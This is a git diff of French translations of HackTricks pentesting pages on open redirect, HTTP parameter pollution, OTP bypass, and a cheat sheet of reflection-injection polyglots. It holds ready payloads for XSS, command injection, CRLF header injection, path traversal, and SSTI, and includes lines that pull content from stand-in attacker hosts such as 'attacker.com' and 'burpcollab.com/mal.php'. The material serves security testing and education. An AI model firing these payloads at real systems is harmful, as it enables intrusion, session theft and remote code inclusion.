* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,13 +1,13 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
@ -64,11 +64,9 @@ javascript://whitelisted.com?%a0alert%281%29
|
|||
/x:1/:///%01javascript:alert(document.cookie)/
|
||||
";alert(0);//
|
||||
```
|
||||
An open redirect vulnerability can be exploited by uploading a malicious SVG file that contains a redirect payload. When a user accesses the uploaded SVG file, they can be redirected to a malicious website without their consent. This can be used in phishing attacks to trick users into visiting a fake website and stealing their sensitive information.
|
||||
# Open Redirect téléchargement de fichiers svg
|
||||
|
||||
## Mitigation
|
||||
|
||||
To prevent open redirect vulnerabilities when uploading SVG files, ensure that all user-supplied input is properly validated and sanitized. Additionally, restrict the allowed domains for redirects to trusted sources only. Regularly monitor and update your application for any security patches to mitigate the risk of open redirect vulnerabilities.
|
||||
Un attaquant peut exploiter une vulnérabilité d'**Open Redirect** pour rediriger les utilisateurs vers des sites malveillants en utilisant des fichiers SVG spécialement conçus.
|
||||
```markup
|
||||
<code>
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
|
@ -79,14 +77,6 @@ xmlns="http://www.w3.org/2000/svg">
|
|||
</code>
|
||||
```
|
||||
# Paramètres d'injection courants
|
||||
|
||||
Les attaquants peuvent exploiter les redirections ouvertes pour rediriger les utilisateurs vers des sites malveillants. Les paramètres d'injection courants à rechercher sont :
|
||||
|
||||
- `url`
|
||||
- `link`
|
||||
- `next`
|
||||
- `target`
|
||||
- `rurl`
|
||||
```
|
||||
/{payload}
|
||||
?next={payload}
|
||||
|
@ -169,49 +159,44 @@ response.redirect("~/mysafe-subdomain/login.aspx")
|
|||
```
|
||||
### Java
|
||||
|
||||
#### Open Redirect
|
||||
<details>
|
||||
<summary>Open Redirect</summary>
|
||||
|
||||
An open redirect vulnerability exists when a web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect. This can be exploited by an attacker to redirect users to a malicious site, potentially tricking them into divulging sensitive information.
|
||||
An open redirect occurs when a web application redirects to a user-supplied link without proper validation. This can be exploited by an attacker to redirect users to malicious websites to perform phishing attacks or distribute malware.
|
||||
|
||||
##### Example
|
||||
|
||||
Consider the following Java code snippet:
|
||||
#### Example
|
||||
|
||||
```java
|
||||
String redirectUrl = request.getParameter("redirect");
|
||||
response.sendRedirect(redirectUrl);
|
||||
response.sendRedirect(request.getParameter("redirectUrl"));
|
||||
```
|
||||
|
||||
In this example, the `redirect` parameter is directly used in the `sendRedirect` method, making it vulnerable to open redirect attacks. An attacker could craft a malicious link like `http://vulnerable-website.com/?redirect=http://malicious-site.com` to redirect users to `malicious-site.com`.
|
||||
#### Prevention
|
||||
|
||||
##### Prevention
|
||||
|
||||
To prevent open redirect vulnerabilities, always validate and sanitize user input before using it in a redirect. Whitelist allowed domains or URLs, and ensure that the redirect URL belongs to the same domain as the application.
|
||||
Always validate and sanitize user input before using it to redirect users. Maintain a list of trusted URLs and ensure that the redirect URL belongs to this list.
|
||||
</details>
|
||||
```bash
|
||||
response.redirect("http://mysafedomain.com");
|
||||
```
|
||||
### PHP
|
||||
|
||||
#### Open Redirect
|
||||
#### Redirection ouverte
|
||||
|
||||
An open redirect vulnerability exists when a script allows redirection to an external site by directly calling a specific URL in the script. Attackers can exploit this vulnerability to trick users into visiting malicious websites by disguising the URLs.
|
||||
Une redirection ouverte se produit lorsqu'une application Web redirige l'utilisateur vers une URL spécifiée dans les paramètres de la requête sans validation adéquate. Cela peut être exploité par un attaquant pour rediriger les utilisateurs vers des sites malveillants pour des attaques de phishing ou d'autres attaques.
|
||||
|
||||
##### Example
|
||||
|
||||
Consider the following PHP script:
|
||||
##### Exemple
|
||||
|
||||
```php
|
||||
<?php
|
||||
$url = $_GET['url'];
|
||||
header("Location: " . $url);
|
||||
$redirectUrl = $_GET['url'];
|
||||
header('Location: ' . $redirectUrl);
|
||||
?>
|
||||
```
|
||||
|
||||
In this script, the value of the `url` parameter in the query string is directly used in the `Location` header for redirection. An attacker can craft a URL like `http://example.com/redirect.php?url=http://malicious-site.com` to redirect users to a malicious site.
|
||||
Dans cet exemple, l'URL de redirection est directement extraite du paramètre de requête `url` sans aucune vérification. Un attaquant pourrait donc créer un lien malveillant comme `http://example.com/?url=http://malicious-site.com` pour rediriger les utilisateurs vers un site malveillant.
|
||||
|
||||
##### Prevention
|
||||
##### Prévention
|
||||
|
||||
To prevent open redirect vulnerabilities, always validate and sanitize user input before using it to redirect users. Whitelist allowed domains or URLs and ensure that the input adheres to the expected format. Additionally, avoid using user-controlled input directly in sensitive operations like redirection.
|
||||
Pour prévenir les redirections ouvertes, il est recommandé de toujours valider et filtrer les URL de redirection en s'assurant qu'elles pointent uniquement vers des destinations approuvées. Il est également conseillé d'éviter de passer l'URL de redirection via des paramètres de requête.
|
||||
```php
|
||||
<?php
|
||||
/* browser redirections*/
|
||||
|
@ -233,14 +218,14 @@ exit;
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,14 +9,14 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
# Aperçu de la pollution de paramètres HTTP (HPP)
|
||||
|
||||
La pollution de paramètres HTTP (HPP) est une technique où les attaquants manipulent les paramètres HTTP pour modifier le comportement d'une application web de manière non intentionnelle. Cette manipulation est effectuée en ajoutant, modifiant ou dupliquant des paramètres HTTP. L'effet de ces manipulations n'est pas directement visible pour l'utilisateur mais peut modifier significativement la fonctionnalité de l'application côté serveur, avec des impacts observables côté client.
|
||||
La pollution de paramètres HTTP (HPP) est une technique où les attaquants manipulent les paramètres HTTP pour modifier le comportement d'une application web de manière non intentionnelle. Cette manipulation est réalisée en ajoutant, modifiant ou dupliquant des paramètres HTTP. Les effets de ces manipulations ne sont pas directement visibles pour l'utilisateur, mais peuvent modifier significativement la fonctionnalité de l'application côté serveur, avec des impacts observables côté client.
|
||||
|
||||
## Exemple de pollution de paramètres HTTP (HPP)
|
||||
|
||||
|
@ -28,28 +28,28 @@ En insérant un paramètre `from` supplémentaire :
|
|||
|
||||
- **URL manipulée :** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
|
||||
|
||||
La transaction peut être incorrectement facturée à `accountC` au lieu de `accountA`, démontrant le potentiel de la HPP pour manipuler des transactions ou d'autres fonctionnalités telles que les réinitialisations de mot de passe, les paramètres 2FA ou les demandes de clé API.
|
||||
La transaction peut être incorrectement facturée à `accountC` au lieu de `accountA`, démontrant le potentiel de la HPP pour manipuler des transactions ou d'autres fonctionnalités telles que les réinitialisations de mot de passe, les paramètres de double authentification (2FA) ou les demandes de clé API.
|
||||
|
||||
### **Analyse des paramètres spécifiques à la technologie**
|
||||
|
||||
- La façon dont les paramètres sont analysés et priorisés dépend de la technologie web sous-jacente, affectant la manière dont la HPP peut être exploitée.
|
||||
- La façon dont les paramètres sont analysés et priorisés dépend de la technologie web sous-jacente, ce qui affecte la manière dont la HPP peut être exploitée.
|
||||
- Des outils comme [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) aident à identifier ces technologies et leurs comportements d'analyse.
|
||||
|
||||
## Exploitation de PHP et de la HPP
|
||||
|
||||
**Cas de manipulation de l'OTP :**
|
||||
**Cas de manipulation OTP :**
|
||||
|
||||
- **Contexte :** Un mécanisme de connexion nécessitant un mot de passe à usage unique (OTP) a été exploité.
|
||||
- **Méthode :** En interceptant la demande OTP à l'aide d'outils comme Burp Suite, les attaquants ont dupliqué le paramètre `email` dans la demande HTTP.
|
||||
- **Résultat :** L'OTP, destiné à l'e-mail initial, a été envoyé à la place à la deuxième adresse e-mail spécifiée dans la demande manipulée. Cette faille a permis un accès non autorisé en contournant la mesure de sécurité prévue.
|
||||
- **Résultat :** L'OTP, destiné à l'e-mail initial, a été envoyé à la deuxième adresse e-mail spécifiée dans la demande manipulée. Cette faille a permis un accès non autorisé en contournant la mesure de sécurité prévue.
|
||||
|
||||
Ce scénario met en lumière une lacune critique dans le backend de l'application, qui traitait le premier paramètre `email` pour la génération de l'OTP mais utilisait le dernier pour la livraison.
|
||||
|
||||
**Cas de manipulation de la clé API :**
|
||||
**Cas de manipulation de clé API :**
|
||||
|
||||
- **Scénario :** Une application permet aux utilisateurs de mettre à jour leur clé API via une page de paramètres de profil.
|
||||
- **Vecteur d'attaque :** Un attaquant découvre qu'en ajoutant un paramètre `api_key` supplémentaire à la demande POST, il peut manipuler le résultat de la fonction de mise à jour de la clé API.
|
||||
- **Technique :** En utilisant un outil comme Burp Suite, l'attaquant crée une demande qui inclut deux paramètres `api_key` : un légitime et un malveillant. Le serveur, ne traitant que la dernière occurrence, met à jour la clé API à la valeur fournie par l'attaquant.
|
||||
- **Vecteur d'attaque :** Un attaquant découvre qu'en ajoutant un paramètre `api_key` supplémentaire à la requête POST, il peut manipuler le résultat de la fonction de mise à jour de la clé API.
|
||||
- **Technique :** En utilisant un outil comme Burp Suite, l'attaquant crée une requête qui inclut deux paramètres `api_key` : un légitime et un malveillant. Le serveur, ne traitant que la dernière occurrence, met à jour la clé API avec la valeur fournie par l'attaquant.
|
||||
- **Résultat :** L'attaquant prend le contrôle de la fonctionnalité API de la victime, potentiellement en accédant ou en modifiant des données privées de manière non autorisée.
|
||||
|
||||
Cet exemple souligne davantage la nécessité d'une manipulation sécurisée des paramètres, en particulier dans des fonctionnalités aussi critiques que la gestion des clés API.
|
||||
|
@ -61,7 +61,7 @@ La manière dont les technologies web gèrent les paramètres HTTP dupliqués va
|
|||
- **Flask :** Adopte la première valeur de paramètre rencontrée, telle que `a=1` dans une chaîne de requête `a=1&a=2`, en priorisant l'instance initiale sur les doublons ultérieurs.
|
||||
- **PHP (sur le serveur HTTP Apache) :** Au contraire, priorise la dernière valeur de paramètre, optant pour `a=2` dans l'exemple donné. Ce comportement peut faciliter involontairement les exploits HPP en honorant le paramètre manipulé de l'attaquant par rapport à l'original.
|
||||
|
||||
# Références
|
||||
## Références
|
||||
* [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
|
||||
* [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)
|
||||
|
||||
|
@ -74,7 +74,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,7 +9,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
@ -20,7 +20,7 @@ Il est possible d'**ajouter des chaînes à la fin du numéro de téléphone** q
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (23).png" alt="https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
|
||||
|
||||
Le **Contournement / Brute-force OTP** fonctionnerait comme suit :
|
||||
Le **Contournement / Brute-force OTP** fonctionnerait comme ceci :
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (2).png" alt="https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -37,7 +37,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,30 +1,30 @@
|
|||
# Techniques de Réflexion - PoCs et Polyglottes CheatSheet
|
||||
# Techniques de réflexion - Feuille de triche PoCs et Polygloths
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
L'objectif de ces PoCs et Polyglottes est de fournir au testeur un **résumé** rapide des vulnérabilités qu'il peut exploiter si son **entrée est d'une manière ou d'une autre reflétée dans la réponse**.
|
||||
Le but de ces PoCs et Polygloths est de donner au testeur un **résumé rapide** des vulnérabilités qu'il peut exploiter si son **entrée est d'une manière ou d'une autre reflétée dans la réponse**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Cette **cheatsheet ne propose pas une liste exhaustive de tests pour chaque vulnérabilité**, juste quelques tests de base. Si vous recherchez des tests plus complets, accédez à chaque vulnérabilité proposée.
|
||||
Cette **feuille de triche ne propose pas une liste exhaustive de tests pour chaque vulnérabilité**, juste quelques-uns de base. Si vous recherchez des tests plus complets, accédez à chaque vulnérabilité proposée.
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
Vous **ne trouverez pas d'injections dépendantes du Content-Type comme XXE**, car généralement vous les essayerez vous-même si vous trouvez une requête envoyant des données xml. Vous **ne trouverez pas non plus d'injections de base de données** ici car même si certains contenus peuvent être reflétés, cela dépend fortement de la technologie et de la structure de la base de données en backend.
|
||||
Vous ne **trouverez pas d'injections dépendantes du type de contenu comme XXE**, car vous les essayerez généralement vous-même si vous trouvez une requête envoyant des données XML. Vous ne **trouverez pas non plus d'injections de base de données** ici car même si certains contenus peuvent être reflétés, cela dépend fortement de la technologie et de la structure de la base de données backend.
|
||||
{% endhint %}
|
||||
|
||||
## Liste des Polyglottes
|
||||
## Liste des Polygloths
|
||||
```python
|
||||
{{7*7}}[7*7]
|
||||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||
|
@ -75,7 +75,7 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
|
|||
```bash
|
||||
{{7*7}}[7*7]
|
||||
```
|
||||
## [Injection de commande](../command-injection.md)
|
||||
## [Injection de commandes](../command-injection.md)
|
||||
|
||||
### Tests de base
|
||||
```bash
|
||||
|
@ -102,13 +102,13 @@ $(ls)
|
|||
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
|
||||
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
|
||||
```
|
||||
## Balisage en suspens
|
||||
## Balisage Suspendu
|
||||
|
||||
### Tests de base
|
||||
### Tests de Base
|
||||
```markup
|
||||
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
|
||||
```
|
||||
## [Inclusion de fichier/Parcours de chemin](../file-inclusion/)
|
||||
## [Inclusion de fichier/Traversée de chemin](../file-inclusion/)
|
||||
|
||||
### Tests de base
|
||||
```bash
|
||||
|
@ -123,7 +123,7 @@ C:/windows/system32/drivers/etc/hosts
|
|||
http://asdasdasdasd.burpcollab.com/mal.php
|
||||
\\asdasdasdasd.burpcollab.com/mal.php
|
||||
```
|
||||
## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
|
||||
## [Redirection ouverte](../open-redirect.md) / [Forge de requête côté serveur](../ssrf-server-side-request-forgery/)
|
||||
|
||||
### Tests de base
|
||||
```bash
|
||||
|
@ -141,7 +141,7 @@ javascript:alert(1)
|
|||
([a-zA-Z]+)*$
|
||||
((a+)+)+$
|
||||
```
|
||||
## [Inclusion côté serveur / Inclusion côté Edge](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
## [Inclusion de côté serveur/Inclusion de côté serveur](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
|
||||
### Tests de base
|
||||
```markup
|
||||
|
@ -154,13 +154,13 @@ x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/C
|
|||
```markup
|
||||
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
||||
```
|
||||
## [Falsification de Requête Côté Serveur](../ssrf-server-side-request-forgery/)
|
||||
## [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
|
||||
|
||||
Les mêmes tests utilisés pour la Redirection Ouverte peuvent être utilisés ici.
|
||||
Les mêmes tests utilisés pour la redirection ouverte peuvent être utilisés ici.
|
||||
|
||||
## [Injection de Modèle Côté Serveur](../ssti-server-side-template-injection/)
|
||||
## [Server Side Template Injection](../ssti-server-side-template-injection/)
|
||||
|
||||
### Tests de Base
|
||||
### Tests de base
|
||||
```markup
|
||||
${{<%[%'"}}%\
|
||||
{{7*7}}
|
||||
|
@ -222,14 +222,14 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
D'autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,14 +1,14 @@
|
|||
# Liste des vulnérabilités Web
|
||||
# Liste des Vulnérabilités Web
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
